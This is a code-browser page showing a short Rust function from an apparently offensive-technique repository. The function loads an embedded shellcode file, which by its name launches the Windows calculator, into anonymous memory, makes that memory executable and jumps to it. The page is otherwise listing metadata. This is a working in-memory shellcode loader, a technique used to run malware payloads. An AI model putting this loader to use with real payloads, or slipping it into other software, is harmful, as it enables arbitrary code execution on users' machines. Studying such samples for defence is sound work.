MCPcopy Create free account
hub / github.com/b1nhack/rust-shellcode / main

Function main

memmap2_transmute/src/main.rs:5–20  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

3
4#[cfg(target_os = "windows")]
5fn main() {
6 let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
7 let shellcode_size = shellcode.len();
8
9 let mut mmap = MmapOptions::new()
10 .len(shellcode_size)
11 .map_anon()
12 .expect("[-]mmap failed!");
13 mmap.copy_from_slice(shellcode);
14 let mmap = mmap.make_exec().expect("[-]make_exec failed!");
15
16 unsafe {
17 let shell: unsafe extern "C" fn() = transmute(mmap.as_ptr());
18 shell();
19 }
20}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected